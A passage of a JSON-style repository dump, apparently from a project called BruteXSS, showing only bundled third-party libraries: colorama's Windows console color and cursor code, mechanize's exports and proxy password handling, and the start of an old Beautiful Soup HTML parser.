windll.kernel32.GetConsoleScreenBufferInfo\n    _GetConsoleScreenBufferInfo.argtypes = [\n        wintypes.HANDLE,\n        POINTER(CONSOLE_SCREEN_BUFFER_INFO),\n    ]\n    _GetConsoleScreenBufferInfo.restype = wintypes.BOOL\n\n    _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute\n    _SetConsoleTextAttribute.argtypes = [\n        wintypes.HANDLE,\n        wintypes.WORD,\n    ]\n    _SetConsoleTextAttribute.restype = wintypes.BOOL\n\n    _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition\n    _SetConsoleCursorPosition.argtypes = [\n        wintypes.HANDLE,\n        COORD,\n    ]\n    _SetConsoleCursorPosition.restype = wintypes.BOOL\n\n    _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA\n    _FillConsoleOutputCharacterA.argtypes = [\n        wintypes.HANDLE,\n        c_char,\n        wintypes.DWORD,\n        COORD,\n        POINTER(wintypes.DWORD),\n    ]\n    _FillConsoleOutputCharacterA.restype = wintypes.BOOL\n\n    _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute\n    _FillConsoleOutputAttribute.argtypes = [\n        wintypes.HANDLE,\n        wintypes.WORD,\n        wintypes.DWORD,\n        COORD,\n        POINTER(wintypes.DWORD),\n    ]\n    _FillConsoleOutputAttribute.restype = wintypes.BOOL\n\n    _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA\n    _SetConsoleTitleW.argtypes = [\n        wintypes.LPCSTR\n    ]\n    _SetConsoleTitleW.restype = wintypes.BOOL\n\n    handles = {\n        STDOUT: _GetStdHandle(STDOUT),\n        STDERR: _GetStdHandle(STDERR),\n    }\n\n    def winapi_test():\n        handle = handles[STDOUT]\n        csbi = CONSOLE_SCREEN_BUFFER_INFO()\n        success = _GetConsoleScreenBufferInfo(\n            handle, byref(csbi))\n        return bool(success)\n\n    def GetConsoleScreenBufferInfo(stream_id=STDOUT):\n        handle = handles[stream_id]\n        csbi = CONSOLE_SCREEN_BUFFER_INFO()\n        success = _GetConsoleScreenBufferInfo(\n            handle, byref(csbi))\n        return csbi\n\n    def SetConsoleTextAttribute(stream_id, attrs):\n        handle = handles[stream_id]\n        return _SetConsoleTextAttribute(handle, attrs)\n\n    def SetConsoleCursorPosition(stream_id, position, adjust=True):\n        position = COORD(*position)\n        # If the position is out of range, do nothing.\n        if position.Y <= 0 or position.X <= 0:\n            return\n        # Adjust for Windows' SetConsoleCursorPosition:\n        #    1. being 0-based, while ANSI is 1-based.\n        #    2. expecting (x,y), while ANSI uses (y,x).\n        adjusted_position = COORD(position.Y - 1, position.X - 1)\n        if adjust:\n            # Adjust for viewport's scroll position\n            sr = GetConsoleScreenBufferInfo(STDOUT).srWindow\n            adjusted_position.Y += sr.Top\n            adjusted_position.X += sr.Left\n        # Resume normal processing\n        handle = handles[stream_id]\n        return _SetConsoleCursorPosition(handle, adjusted_position)\n\n    def FillConsoleOutputCharacter(stream_id, char, length, start):\n        handle = handles[stream_id]\n        char = c_char(char.encode())\n        length = wintypes.DWORD(length)\n        num_written = wintypes.DWORD(0)\n        # Note that this is hard-coded for ANSI (vs wide) bytes.\n        success = _FillConsoleOutputCharacterA(\n            handle, char, length, start, byref(num_written))\n        return num_written.value\n\n    def FillConsoleOutputAttribute(stream_id, attr, length, start):\n        ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )'''\n        handle = handles[stream_id]\n        attribute = wintypes.WORD(attr)\n        length = wintypes.DWORD(length)\n        num_written = wintypes.DWORD(0)\n        # Note that this is hard-coded for ANSI (vs wide) bytes.\n        return _FillConsoleOutputAttribute(\n            handle, attribute, length, start, byref(num_written))\n\n    def SetConsoleTitle(title):\n        return _SetConsoleTitleW(title)\n"
  },
  {
    "path": "BruteXSS/colorama/winterm.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nfrom . import win32\n\n\n# from wincon.h\nclass WinColor(object):\n    BLACK   = 0\n    BLUE    = 1\n    GREEN   = 2\n    CYAN    = 3\n    RED     = 4\n    MAGENTA = 5\n    YELLOW  = 6\n    GREY    = 7\n\n# from wincon.h\nclass WinStyle(object):\n    NORMAL              = 0x00 # dim text, dim background\n    BRIGHT              = 0x08 # bright text, dim background\n    BRIGHT_BACKGROUND   = 0x80 # dim text, bright background\n\nclass WinTerm(object):\n\n    def __init__(self):\n        self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes\n        self.set_attrs(self._default)\n        self._default_fore = self._fore\n        self._default_back = self._back\n        self._default_style = self._style\n        # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style.\n        # So that LIGHT_EX colors and BRIGHT style do not clobber each other,\n        # we track them separately, since LIGHT_EX is overwritten by Fore/Back\n        # and BRIGHT is overwritten by Style codes.\n        self._light = 0\n\n    def get_attrs(self):\n        return self._fore + self._back * 16 + (self._style | self._light)\n\n    def set_attrs(self, value):\n        self._fore = value & 7\n        self._back = (value >> 4) & 7\n        self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND)\n\n    def reset_all(self, on_stderr=None):\n        self.set_attrs(self._default)\n        self.set_console(attrs=self._default)\n\n    def fore(self, fore=None, light=False, on_stderr=False):\n        if fore is None:\n            fore = self._default_fore\n        self._fore = fore\n        # Emulate LIGHT_EX with BRIGHT Style\n        if light:\n            self._light |= WinStyle.BRIGHT\n        else:\n            self._light &= ~WinStyle.BRIGHT\n        self.set_console(on_stderr=on_stderr)\n\n    def back(self, back=None, light=False, on_stderr=False):\n        if back is None:\n            back = self._default_back\n        self._back = back\n        # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style\n        if light:\n            self._light |= WinStyle.BRIGHT_BACKGROUND\n        else:\n            self._light &= ~WinStyle.BRIGHT_BACKGROUND\n        self.set_console(on_stderr=on_stderr)\n\n    def style(self, style=None, on_stderr=False):\n        if style is None:\n            style = self._default_style\n        self._style = style\n        self.set_console(on_stderr=on_stderr)\n\n    def set_console(self, attrs=None, on_stderr=False):\n        if attrs is None:\n            attrs = self.get_attrs()\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        win32.SetConsoleTextAttribute(handle, attrs)\n\n    def get_position(self, handle):\n        position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition\n        # Because Windows coordinates are 0-based,\n        # and win32.SetConsoleCursorPosition expects 1-based.\n        position.X += 1\n        position.Y += 1\n        return position\n\n    def set_cursor_position(self, position=None, on_stderr=False):\n        if position is None:\n            # I'm not currently tracking the position, so there is no default.\n            # position = self.get_position()\n            return\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        win32.SetConsoleCursorPosition(handle, position)\n\n    def cursor_adjust(self, x, y, on_stderr=False):\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        position = self.get_position(handle)\n        adjusted_position = (position.Y + y, position.X + x)\n        win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False)\n\n    def erase_screen(self, mode=0, on_stderr=False):\n        # 0 should clear from the cursor to the end of the screen.\n        # 1 should clear from the cursor to the beginning of the screen.\n        # 2 should clear the entire screen, and move cursor to (1,1)\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        csbi = win32.GetConsoleScreenBufferInfo(handle)\n        # get the number of character cells in the current buffer\n        cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y\n        # get number of character cells before current cursor position\n        cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X\n        if mode == 0:\n            from_coord = csbi.dwCursorPosition\n            cells_to_erase = cells_in_screen - cells_before_cursor\n        if mode == 1:\n            from_coord = win32.COORD(0, 0)\n            cells_to_erase = cells_before_cursor\n        elif mode == 2:\n            from_coord = win32.COORD(0, 0)\n            cells_to_erase = cells_in_screen\n        # fill the entire screen with blanks\n        win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)\n        # now set the buffer's attributes accordingly\n        win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)\n        if mode == 2:\n            # put the cursor where needed\n            win32.SetConsoleCursorPosition(handle, (1, 1))\n\n    def erase_line(self, mode=0, on_stderr=False):\n        # 0 should clear from the cursor to the end of the line.\n        # 1 should clear from the cursor to the beginning of the line.\n        # 2 should clear the entire line.\n        handle = win32.STDOUT\n        if on_stderr:\n            handle = win32.STDERR\n        csbi = win32.GetConsoleScreenBufferInfo(handle)\n        if mode == 0:\n            from_coord = csbi.dwCursorPosition\n            cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X\n        if mode == 1:\n            from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)\n            cells_to_erase = csbi.dwCursorPosition.X\n        elif mode == 2:\n            from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)\n            cells_to_erase = csbi.dwSize.X\n        # fill the entire screen with blanks\n        win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)\n        # now set the buffer's attributes accordingly\n        win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)\n\n    def set_title(self, title):\n        win32.SetConsoleTitle(title)\n"
  },
  {
    "path": "BruteXSS/mechanize/__init__.py",
    "content": "__all__ = [\n    'AbstractBasicAuthHandler',\n    'AbstractDigestAuthHandler',\n    'BaseHandler',\n    'Browser',\n    'BrowserStateError',\n    'CacheFTPHandler',\n    'ContentTooShortError',\n    'Cookie',\n    'CookieJar',\n    'CookiePolicy',\n    'DefaultCookiePolicy',\n    'DefaultFactory',\n    'FTPHandler',\n    'Factory',\n    'FileCookieJar',\n    'FileHandler',\n    'FormNotFoundError',\n    'FormsFactory',\n    'HTTPBasicAuthHandler',\n    'HTTPCookieProcessor',\n    'HTTPDefaultErrorHandler',\n    'HTTPDigestAuthHandler',\n    'HTTPEquivProcessor',\n    'HTTPError',\n    'HTTPErrorProcessor',\n    'HTTPHandler',\n    'HTTPPasswordMgr',\n    'HTTPPasswordMgrWithDefaultRealm',\n    'HTTPProxyPasswordMgr',\n    'HTTPRedirectDebugProcessor',\n    'HTTPRedirectHandler',\n    'HTTPRefererProcessor',\n    'HTTPRefreshProcessor',\n    'HTTPResponseDebugProcessor',\n    'HTTPRobotRulesProcessor',\n    'HTTPSClientCertMgr',\n    'HeadParser',\n    'History',\n    'LWPCookieJar',\n    'Link',\n    'LinkNotFoundError',\n    'LinksFactory',\n    'LoadError',\n    'MSIECookieJar',\n    'MozillaCookieJar',\n    'OpenerDirector',\n    'OpenerFactory',\n    'ParseError',\n    'ProxyBasicAuthHandler',\n    'ProxyDigestAuthHandler',\n    'ProxyHandler',\n    'Request',\n    'RobotExclusionError',\n    'RobustFactory',\n    'RobustFormsFactory',\n    'RobustLinksFactory',\n    'RobustTitleFactory',\n    'SeekableResponseOpener',\n    'TitleFactory',\n    'URLError',\n    'USE_BARE_EXCEPT',\n    'UnknownHandler',\n    'UserAgent',\n    'UserAgentBase',\n    'XHTMLCompatibleHeadParser',\n    '__version__',\n    'build_opener',\n    'install_opener',\n    'lwp_cookie_str',\n    'make_response',\n    'request_host',\n    'response_seek_wrapper',  # XXX deprecate in public interface?\n    'seek_wrapped_response',   # XXX should probably use this internally in place of response_seek_wrapper()\n    'str2time',\n    'urlopen',\n    'urlretrieve',\n    'urljoin',\n\n    # ClientForm API\n    'AmbiguityError',\n    'ControlNotFoundError',\n    'FormParser',\n    'ItemCountError',\n    'ItemNotFoundError',\n    'LocateError',\n    'Missing',\n    'ParseFile',\n    'ParseFileEx',\n    'ParseResponse',\n    'ParseResponseEx',\n    'ParseString',\n    'XHTMLCompatibleFormParser',\n    # deprecated\n    'CheckboxControl',\n    'Control',\n    'FileControl',\n    'HTMLForm',\n    'HiddenControl',\n    'IgnoreControl',\n    'ImageControl',\n    'IsindexControl',\n    'Item',\n    'Label',\n    'ListControl',\n    'PasswordControl',\n    'RadioControl',\n    'ScalarControl',\n    'SelectControl',\n    'SubmitButtonControl',\n    'SubmitControl',\n    'TextControl',\n    'TextareaControl',\n    ]\n\nimport logging\nimport sys\n\nfrom _version import __version__\n\n# high-level stateful browser-style interface\nfrom _mechanize import \\\n     Browser, History, \\\n     BrowserStateError, LinkNotFoundError, FormNotFoundError\n\n# configurable URL-opener interface\nfrom _useragent import UserAgentBase, UserAgent\nfrom _html import \\\n     Link, \\\n     Factory, DefaultFactory, RobustFactory, \\\n     FormsFactory, LinksFactory, TitleFactory, \\\n     RobustFormsFactory, RobustLinksFactory, RobustTitleFactory\n\n# urllib2 work-alike interface.  This is a superset of the urllib2 interface.\nfrom _urllib2 import *\nimport _urllib2\nif hasattr(_urllib2, \"HTTPSHandler\"):\n    __all__.append(\"HTTPSHandler\")\ndel _urllib2\n\n# misc\nfrom _http import HeadParser\nfrom _http import XHTMLCompatibleHeadParser\nfrom _opener import ContentTooShortError, OpenerFactory, urlretrieve\nfrom _response import \\\n     response_seek_wrapper, seek_wrapped_response, make_response\nfrom _rfc3986 import urljoin\nfrom _util import http2time as str2time\n\n# cookies\nfrom _clientcookie import Cookie, CookiePolicy, DefaultCookiePolicy, \\\n     CookieJar, FileCookieJar, LoadError, request_host_lc as request_host, \\\n     effective_request_host\nfrom _lwpcookiejar import LWPCookieJar, lwp_cookie_str\n# 2.4 raises SyntaxError due to generator / try/finally use\nif sys.version_info[:2] > (2,4):\n    try:\n        import sqlite3\n    except ImportError:\n        pass\n    else:\n        from _firefox3cookiejar import Firefox3CookieJar\nfrom _mozillacookiejar import MozillaCookieJar\nfrom _msiecookiejar import MSIECookieJar\n\n# forms\nfrom _form import (\n    AmbiguityError,\n    ControlNotFoundError,\n    FormParser,\n    ItemCountError,\n    ItemNotFoundError,\n    LocateError,\n    Missing,\n    ParseError,\n    ParseFile,\n    ParseFileEx,\n    ParseResponse,\n    ParseResponseEx,\n    ParseString,\n    XHTMLCompatibleFormParser,\n    # deprecated\n    CheckboxControl,\n    Control,\n    FileControl,\n    HTMLForm,\n    HiddenControl,\n    IgnoreControl,\n    ImageControl,\n    IsindexControl,\n    Item,\n    Label,\n    ListControl,\n    PasswordControl,\n    RadioControl,\n    ScalarControl,\n    SelectControl,\n    SubmitButtonControl,\n    SubmitControl,\n    TextControl,\n    TextareaControl,\n    )\n\n# If you hate the idea of turning bugs into warnings, do:\n# import mechanize; mechanize.USE_BARE_EXCEPT = False\nUSE_BARE_EXCEPT = True\n\nlogger = logging.getLogger(\"mechanize\")\nif logger.level is logging.NOTSET:\n    logger.setLevel(logging.CRITICAL)\ndel logger\n"
  },
  {
    "path": "BruteXSS/mechanize/_auth.py",
    "content": "\"\"\"HTTP Authentication and Proxy support.\n\n\nCopyright 2006 John J. Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it under\nthe terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt\nincluded with the distribution).\n\n\"\"\"\n\nfrom _urllib2_fork import HTTPPasswordMgr\n\n\n# TODO: stop deriving from HTTPPasswordMgr\nclass HTTPProxyPasswordMgr(HTTPPasswordMgr):\n    # has default realm and host/port\n    def add_password(self, realm, uri, user, passwd):\n        # uri could be a single URI or a sequence\n        if uri is None or isinstance(uri, basestring):\n            uris = [uri]\n        else:\n            uris = uri\n        passwd_by_domain = self.passwd.setdefault(realm, {})\n        for uri in uris:\n            for default_port in True, False:\n                reduced_uri = self.reduce_uri(uri, default_port)\n                passwd_by_domain[reduced_uri] = (user, passwd)\n\n    def find_user_password(self, realm, authuri):\n        attempts = [(realm, authuri), (None, authuri)]\n        # bleh, want default realm to take precedence over default\n        # URI/authority, hence this outer loop\n        for default_uri in False, True:\n            for realm, authuri in attempts:\n                authinfo_by_domain = self.passwd.get(realm, {})\n                for default_port in True, False:\n                    reduced_authuri = self.reduce_uri(authuri, default_port)\n                    for uri, authinfo in authinfo_by_domain.iteritems():\n                        if uri is None and not default_uri:\n                            continue\n                        if self.is_suburi(uri, reduced_authuri):\n                            return authinfo\n                    user, password = None, None\n\n                    if user is not None:\n                        break\n        return user, password\n\n    def reduce_uri(self, uri, default_port=True):\n        if uri is None:\n            return None\n        return HTTPPasswordMgr.reduce_uri(self, uri, default_port)\n\n    def is_suburi(self, base, test):\n        if base is None:\n            # default to the proxy's host/port\n            hostport, path = test\n            base = (hostport, \"/\")\n        return HTTPPasswordMgr.is_suburi(self, base, test)\n\n\nclass HTTPSClientCertMgr(HTTPPasswordMgr):\n    # implementation inheritance: this is not a proper subclass\n    def add_key_cert(self, uri, key_file, cert_file):\n        self.add_password(None, uri, key_file, cert_file)\n    def find_key_cert(self, authuri):\n        return HTTPPasswordMgr.find_user_password(self, None, authuri)\n"
  },
  {
    "path": "BruteXSS/mechanize/_beautifulsoup.py",
    "content": "\"\"\"Beautiful Soup\nElixir and Tonic\n\"The Screen-Scraper's Friend\"\nv2.1.1\nhttp://www.crummy.com/software/BeautifulSoup/\n\nBeautiful Soup parses arbitrarily invalid XML- or HTML-like substance\ninto a tree representation. It provides methods and Pythonic idioms\nthat make it easy to search and modify the tree.\n\nA well-formed XML/HTML document will yield a well-formed data\nstructure. An ill-formed XML/HTML document will yield a\ncorrespondingly ill-formed data structure. If your document is only\nlocally well-formed, you can use this library to find and process the\nwell-formed part of it. The BeautifulSoup class has heuristics for\nobtaining a sensible parse tree in the face of common HTML errors.\n\nBeautiful Soup has no external dependencies. It works with Python 2.2\nand up.\n\nBeautiful Soup defines classes for four different parsing strategies:\n\n * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific\n   language that kind of looks like XML.\n\n * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid\n   or invalid.\n\n * ICantBelieveItsBeautifulSoup, for parsing valid but bizarre HTML\n   that trips up BeautifulSoup.\n\n * BeautifulSOAP, for making it easier to parse XML documents that use\n   lots of subelements containing a single string, where you'd prefer\n   they put that string into an attribute (such as SOAP messages).\n\nYou can subclass BeautifulStoneSoup or BeautifulSoup to create a\nparsing strategy specific to an XML schema or a particular bizarre\nHTML document. Typically your subclass would just override\nSELF_CLOSING_TAGS and/or NESTABLE_TAGS.\n\"\"\" #\"\nfrom __future__ import generators\n\n__author__ = \"Leonard Richardson (leonardr@segfault.org)\"\n__version__ = \"2.1.1\"\n__date__ = \"$Date: 2004/10/18 00:14:20 $\"\n__copyright__ = \"Copyright (c) 2004-2005 Leonard Richardson\"\n__license__ = \"PSF\"\n\nfrom _sgmllib_copy import SGMLParser, SGMLParseError\nimport types\nimport re\nimport _sgmllib_copy as sgmllib\n\nclass NullType(object):\n\n    \"\"\"Similar to NoneType with a corresponding singleton instance\n    'Null' that, unlike None, accepts any message and returns itself.\n\n    Examples:\n    >>> Null(\"send\", \"a\", \"message\")(\"and one more\",\n    ...      \"and what you get still\") is Null\n    True\n    \"\"\"\n\n    def __new__(cls):                    return Null\n    def __call__(self, *args, **kwargs): return Null\n##    def __getstate__(self, *args):       return Null\n    def __getattr__(self, attr):         return Null\n    def __getitem__(self, item):         return Null\n    def __setattr__(self, attr, value):  pass\n    def __setitem__(self, item, value):  pass\n    def __len__(self):                   return 0\n    # FIXME: is this a python bug? otherwise ``for x in Null: pass``\n    #        never terminates...\n    def __iter__(self):                  return iter([])\n    def __contains__(self, item):        return False\n    def __repr__(self):                  return \"Null\"\nNull = object.__new__(NullType)\n\nclass PageElement:\n    \"\"\"Contains the navigational information for some part of the page\n    (either a tag or a piece of text)\"\"\"\n\n    def setup(self, parent=Null, previous=Null):\n        \"\"\"Sets up the initial relations between this element and\n        other elements.\"\"\"\n        self.parent = parent\n        self.previous = previous\n        self.next = Null\n        self.previousSibling = Null\n        self.nextSibling = Null\n        if self.parent and self.parent.contents:\n            self.previousSibling = self.parent.contents[-1]\n            self.previousSibling.nextSibling = self\n\n    def findNext(self, name=None, attrs={}, text=None):\n        \"\"\"Returns the first item that matches the given criteria and\n        appears after this Tag in the document.\"\"\"\n        return self._first(self.fetchNext, name, attrs, text)\n    firstNext = findNext\n\n    def fetchNext(self, name=None, attrs={}, text=None, limit=None):\n        \"\"\"Returns all items that match the given criteria and appear\n        before after Tag in the document.\"\"\"\n        return self._fetch(name, attrs, text, limit, self.nextGenerator)\n\n    def findNextSibling(self, name=None, attrs={}, text=None):\n        \"\"\"Returns the closest sibling to this Tag that matches the\n        given criteria and appears after this Tag in the document.\"\"\"\n        return self._first(self.fetchNextSiblings, name, attrs, text)\n    firstNextSibling = findNextSibling\n\n    def fetchNextSiblings(self, name=None, attrs={}, text=None, limit=None):\n        \"\"\"Returns the siblings of this Tag that match the given\n        criteria and appear after this Tag in the document.\"\"\"\n        return self._fetch(name, attrs, text, limit, self.nextSiblingGenerator)\n\n    def findPrevious(self, name=None, attrs={}, text=None):\n        \"\"\"Returns the first item that matches the given criteria and\n        appears before this Tag in the document.\"\"\"\n        return self._first(self.fetchPrevious, name, attrs, text)\n\n    def fetchPrevious(self, name=None, attrs={}, text=None, limit=None):\n        \"\"\"Returns all items that match the given criteria and appear\n        before this Tag in the document.\"\"\"\n        return self._fetch(name, attrs, text, limit, self.previousGenerator)\n    firstPrevious = findPrevious\n\n    def findPreviousSibling(self, name=None, attrs={}, text=None):\n        \"\"\"Returns the closest sibling to this Tag that matches the\n        given criteria and appears before this Tag in the document.\"\"\"\n        return self._first(self.fetchPreviousSiblings, name, attrs, text)\n    firstPreviousSibling = findPreviousSibling\n\n    def fetchPreviousSiblings(self, name=None, attrs={}, text=None,\n                              limit=None):\n        \"\"\"Returns the siblings of this Tag that match the given\n        criteria and appear before this Tag in the document.\"\"\"\n        return self._fetch(name, attrs, text, limit,\n                           self.previousSiblingGenerator)\n\n    def findParent(self, name=None, attrs={}):\n        \"\"\"Returns the closest parent of this Tag that matches the given\n        criteria.\"\"\"\n        r = Null\n        l = self.fetchParents(name, attrs, 1)\n        if l:\n            r = l[0]\n        return r\n    firstParent = findParent\n\n    def fetchParents(self, name=None, attrs={}, limit=None):\n        \"\"\"Returns the parents of this Tag that match the given\n        criteria.\"\"\"\n        return self._fetch(name, attrs, None, limit, self.parentGenerator)\n\n    #These methods do the real heavy lifting.\n\n    def _first(self, method, name, attrs, text):\n        r = Null\n        l = method(name, attrs, text, 1)\n        if l:\n            r = l[0]\n        return r\n    \n    def _fetch(self, name, attrs, text, limit, generator):\n        \"Iterates over a generator looking for things that match.\"\n        if not hasattr(attrs, 'items'):\n            attrs = {'class' : attrs}\n\n        results = []\n        g = generator()\n        while True:\n            try:\n                i = g.next()\n            except StopIteration:\n                break\n            found = None\n            if isinstance(i, Tag):\n                if not text:\n                    if not name or self._matches(i, name):\n                        match = True\n                        for attr, matchAgainst in attrs.items():\n                            check = i.get(attr)\n                            if not self._matches(check, matchAgainst):\n                                match = False\n                                break\n                        if match:\n                            found = i\n            elif text:\n                if self._matches(i, text):\n                    found = i                    \n            if found:\n                results.append(found)\n                if limit and len(results) >= limit:\n                    break\n        return results\n\n    #Generators that can be used to navigate starting from both\n    #NavigableTexts and Tags.                \n    def nextGenerator(self):\n        i = self\n        while i:\n            i = i.next\n            yield i\n\n    def nextSiblingGenerator(self):\n        i = self\n        while i:\n            i = i.nextSibling\n            yield i\n\n    def previousGenerator(self):\n        i = self\n        while i:\n            i = i.previous\n            yield i\n\n    def previousSiblingGenerator(self):\n        i = self\n        while i:\n            i = i.previousSibling\n            yield i\n\n    def parentGenerator(self):\n        i = self\n        while i:\n            i = i.parent\n            yield i\n\n    def _matches(self, chunk, howToMatch):\n        #print 'looking for %s in %s' % (howToMatch, chunk)\n        #\n        # If given a list of items, return true if the list contains a\n        # text element that matches.\n        if isList(chunk) and not isinstance(chunk, Tag):\n            for tag in chunk:\n                if isinstance(tag, NavigableText) and self._matches(tag, howToMatch):\n                    return True\n            return False\n        if callable(howToMatch):\n            return howToMatch(chunk)\n        if isinstance(chunk, Tag):\n            #Custom match methods take the tag as an argument, but all other\n            #ways of matching match the tag name as a string\n            chunk = chunk.name\n        #Now we know that chunk is a string\n        if not isinstance(chunk, basestring):\n            chunk = str(chunk)\n        if hasattr(howToMatch, 'match'):\n            # It's a regexp object.\n            return howToMatch.search(chunk)\n        if isList(howToMatch):\n            return chunk in howToMatch\n        if hasattr(howToMatch, 'items'):\n            return howToMatch.has_key(chunk)\n        #It's just a string\n        return str(howToMatch) == chunk\n\nclass NavigableText(PageElement):\n\n    def __getattr__(self, attr):\n        \"For backwards compatibility, text.string gives you text\"\n        if attr == 'string':\n            return self\n        else:\n            raise AttributeError, \"'%s' object has no attribute '%s'\" % (self.__class__.__name__, attr)\n        \nclass NavigableString(str, NavigableText):\n    pass\n\nclass NavigableUnicodeString(unicode, NavigableText):\n    pass\n\nclass Tag(PageElement):\n\n    \"\"\"Represents a found HTML tag with its attributes and contents.\"\"\"\n\n    def __init__(self, name, attrs=None, parent=Null, previous=Null):\n        \"Basic constructor.\"\n        self.name = name\n        if attrs == None:\n            attrs = []\n        self.attrs = attrs\n        self.contents = []\n        self.setup(parent, previous)\n        self.hidden = False\n\n    def get(self, key, default=None):\n        \"\"\"Returns the value of the 'key' attribute for the tag, or\n        the value given for 'default' if it doesn't have that\n        attribute.\"\"\"\n        return self._getAttrMap().get(key, default)    \n\n    def __getitem__(self, key):\n        \"\"\"tag[key] returns the value of the 'key' attribute for the tag,\n        and throws an exception if it's not there.\"\"\"\n        return self._getAttrMap()[key]\n\n    def __iter__(self):\n        \"Iterating over a tag iterates over its contents.\"\n        return iter(self.contents)\n\n    def __len__(self):\n        \"The length of a tag is the length of its list of contents.\"\n        return len(self.contents)\n\n    def __contains__(self, x):\n        return x in self.contents\n\n    def __nonzero__(self):\n        \"A tag is non-None even if it has no contents.\"\n        return True\n\n    def __setitem__(self, key, value):        \n        \"\"\"Setting tag[key] sets the value of the 'key' attribute for the\n        tag.\"\"\"\n        self._getAttrMap()\n        self.attrMap[key] = value\n        found = False\n        for i in range(0, len(self.attrs)):\n            if self.attrs[i][0] == key:\n                self.attrs[i] = (key, value)\n                found = True\n        if not found:\n            self.attrs.append((key, value))\n        self._getAttrMap()[key] = value\n\n    def __delitem__(self, key):\n        \"Deleting tag[key] deletes all 'key' attributes for the tag.\"\n        for item in self.attrs:\n            if item[0] == key:\n                self.attrs.remove(item)\n                #We don't break because bad HTML can define the same\n                #attribute multiple times.\n            self._getAttrMap()\n            if self.attrMap.has_key(key):\n                del self.attrMap[key]\n\n    def __call__(self, *args, **kwargs):\n        \"\"\"Calling a tag like a function is the same as calling its\n        fetch() method. Eg. tag('a') returns a list of all the A tags\n        found within this tag.\"\"\"\n        return apply(self.fetch, args, kwargs)\n\n    def __getattr__(self, tag):\n        if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3:\n            return self.first(tag[:-3])\n        elif tag.find('__') != 0:\n            return self.first(tag)\n\n    def __eq__(self, other):\n        \"\"\"Returns true iff this tag has the same name, the same attributes,\n        and the same contents (recursively) as the given tag.\n\n        NOTE: right now this will return false if two tags have the\n        same attributes in a different order. Should this be fixed?\"\"\"\n        if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other):\n            return False\n        for i in range(0, len(self.contents)):\n            if self.contents[i] != other.contents[i]:\n                return False\n        return True\n\n    def __ne__(self, other):\n        \"\"\"Returns true iff this tag is not identical to the other tag,\n        as defined in __eq__.\"\"\"\n        return not self == other\n\n    def __repr__(self):\n        \"\"\"Renders this tag as a string.\"\"\"\n        return str(self)\n\n    def __unicode__(self):\n        return self.__str__(1)\n\n    def __str__(self, needUnicode=None, showStructureIndent=None):\n        \"\"\"Returns a string or Unicode representation of this tag and\n        its contents.\n\n        NOTE: since Python's HTML parser consumes whitespace, this\n        method is not certain to reproduce the whitespace present in\n        the original string.\"\"\"\n        \n        attrs = []\n        if self.attrs:\n            for key, val in self.attrs:\n                attrs.append('%s=\"%s\"' % (key, val))\n        close = ''\n        closeTag = ''\n        if self.isSelfClosing():\n            close = ' /'\n        else:\n            closeTag = '</%s>' % self.name\n        indentIncrement = None        \n        if showStructureIndent != None:\n            indentIncrement = showStructureIndent\n            if not self.hidden:\n                indentIncrement += 1\n        contents = self.renderContents(indentIncrement, needUnicode=needUnicode)        \n        if showStructureIndent:\n            space = '\\n%s' % (' ' * showStructureIndent)\n        if self.hidden:\n            s = contents\n        else:\n            s = []\n            attributeString = ''\n            if attrs:\n                attributeString = ' ' + ' '.join(attrs)            \n            if showStructureIndent:\n                s.append(space)\n            s.append('<%s%s%s>' % (self.name, attributeString, close))\n            s.append(contents)\n            if closeTag and showStructureIndent != None:\n                s.append(space)\n            s.append(closeTag)\n            s = ''.join(s)\n        isUnicode = type(s) == types.UnicodeType\n        if needUnicode and not isUnicode:\n            s = unicode(s)\n        elif isUnicode and needUnicode==False:\n            s = str(s)\n        return s\n\n    def prettify(self, needUnicode=None):\n        return self.__str__(needUnicode, showStructureIndent=True)\n\n    def renderContents(self, showStructureIndent=None, needUnicode=None):\n        \"\"\"Renders the contents of this tag as a (possibly Unicode) \n        string.\"\"\"\n        s=[]\n        for c in self:\n            text = None\n            if isinstance(c, NavigableUnicodeString) or type(c) == types.UnicodeType:\n                text = unicode(c)\n            elif isinstance(c, Tag):\n                s.append(c.__str__(needUnicode, showStructureIndent))\n            elif needUnicode:\n                text = unicode(c)\n            else:\n                text = str(c)\n            if text:\n                if showStructureIndent != None:\n                    if text[-1] == '\\n':\n                        text = text[:-1]\n                s.append(text)\n        return ''.join(s)    \n\n    #Soup methods\n\n    def firstText(self, text, recursive=True):\n        \"\"\"Convenience method to retrieve the first piece of text matching the\n        given criteria. 'text' can be a string, a regular expression object,\n        a callable that takes a string and returns whether or not the\n        string 'matches', 